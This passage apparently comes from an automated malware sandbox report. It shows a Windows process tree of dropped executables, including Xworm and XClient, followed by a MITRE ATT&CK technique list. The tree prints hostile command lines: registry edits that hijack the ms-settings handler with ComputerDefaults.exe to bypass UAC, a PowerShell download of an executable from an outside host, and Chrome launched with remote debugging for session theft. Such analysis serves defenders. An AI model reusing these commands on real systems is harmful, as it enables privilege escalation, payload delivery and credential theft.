  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1968
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    PID:1980
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:2288
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\1431.vbs
    3⤵
    PID:1768
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:2488
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:1912
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:1716
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:2444
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\9471.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    PID:1532
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\9471.vbs" /f
      4⤵
      Modifies registry class
      PID:2544
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1608
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    PID:2540
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:2056
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\9471.vbs
    3⤵
    PID:2324
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    PID:2424
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:2852
- C:\Users\Admin\AppData\Local\Temp\a\filer.exe
  "C:\Users\Admin\AppData\Local\Temp\a\filer.exe"
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Users\Admin\AppData\Local\Temp\a\AmLzNi.exe
  "C:\Users\Admin\AppData\Local\Temp\a\AmLzNi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://ratsinthehole.com/vvvv/yVdlbFlx" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- C:\Users\Admin\AppData\Local\Temp\a\Xworm%20V5.6.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Xworm%20V5.6.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2672 -s 600
    3⤵
    PID:1968
- C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1684
- C:\Users\Admin\AppData\Local\Temp\a\333.exe
  "C:\Users\Admin\AppData\Local\Temp\a\333.exe"
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe
  "C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies system certificate store
  PID:1492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7feefcf9758,0x7feefcf9768,0x7feefcf9778
      4⤵
      PID:1960
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:2780
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1140 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:2
      4⤵
      PID:2132
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:8
      4⤵
      PID:756
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1608 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:8
      4⤵
      PID:2416
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2272 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2668
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2292 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2128
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=976 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:2
      4⤵
      PID:3368
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1308 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3496
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3832 --field-trial-handle=1296,i,3620664578605470210,16291612609235633639,131072 /prefetch:8
      4⤵
      PID:4016
- C:\Users\Admin\AppData\Local\Temp\a\test12.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test12.exe"
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Users\Admin\AppData\Local\Temp\a\test6.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test6.exe"
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Users\Admin\AppData\Local\Temp\a\test14.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test14.exe"
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Users\Admin\AppData\Local\Temp\a\pantest.exe
  "C:\Users\Admin\AppData\Local\Temp\a\pantest.exe"
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Users\Admin\AppData\Local\Temp\a\test9.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test9.exe"
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Users\Admin\AppData\Local\Temp\a\test10-29.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test10-29.exe"
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Users\Admin\AppData\Local\Temp\a\test19.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test19.exe"
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Users\Admin\AppData\Local\Temp\a\test10.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test10.exe"
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Users\Admin\AppData\Local\Temp\a\test_again4.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test_again4.exe"
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Users\Admin\AppData\Local\Temp\a\test23.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test23.exe"
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Users\Admin\AppData\Local\Temp\a\test5.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test5.exe"
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Users\Admin\AppData\Local\Temp\a\test11.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test11.exe"
  2⤵
  - Executes dropped EXE
  PID:3200
- C:\Users\Admin\AppData\Local\Temp\a\test20.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test20.exe"
  2⤵
  - Executes dropped EXE
  PID:3520
- C:\Users\Admin\AppData\Local\Temp\a\test_again3.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test_again3.exe"
  2⤵
  - Executes dropped EXE
  PID:3656
- C:\Users\Admin\AppData\Local\Temp\a\test16.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test16.exe"
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Users\Admin\AppData\Local\Temp\a\test13.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test13.exe"
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Users\Admin\AppData\Local\Temp\a\test_again2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test_again2.exe"
  2⤵
  - Executes dropped EXE
  PID:3180
- C:\Users\Admin\AppData\Local\Temp\a\test15.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test15.exe"
  2⤵
  - Executes dropped EXE
  PID:1692
- C:\Users\Admin\AppData\Local\Temp\a\test18.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test18.exe"
  2⤵
  - Executes dropped EXE
  PID:3936
- C:\Users\Admin\AppData\Local\Temp\a\test21.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test21.exe"
  2⤵
  PID:4028
- C:\Users\Admin\AppData\Local\Temp\a\test22.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test22.exe"
  2⤵
  PID:3464
- C:\Users\Admin\AppData\Local\Temp\a\test8.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test8.exe"
  2⤵
  PID:3276
- C:\Users\Admin\AppData\Local\Temp\a\test7.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test7.exe"
  2⤵
  PID:2744
- C:\Users\Admin\AppData\Local\Temp\a\test-again.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test-again.exe"
  2⤵
  PID:1688
- C:\Users\Admin\AppData\Local\Temp\a\test17.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test17.exe"
  2⤵
  PID:1464
- C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe
  "C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe"
  2⤵
  PID:3744
- - C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe
    "C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe"
    3⤵
    PID:3960
- C:\Users\Admin\AppData\Local\Temp\a\win.exe
  "C:\Users\Admin\AppData\Local\Temp\a\win.exe"
  2⤵
  PID:2144
- - C:\Windows\SysWOW64\route.exe
    route print
    3⤵
    PID:756
- - C:\Windows\SysWOW64\arp.exe
    arp -a 10.127.0.1
    3⤵
    - Network Service Discovery
    PID:2940
- C:\Users\Admin\AppData\Local\Temp\a\cbchr.exe
  "C:\Users\Admin\AppData\Local\Temp\a\cbchr.exe"
  2⤵
  PID:2500

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

Privilege Escalation

Defense Evasion

Modify Authentication Process

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion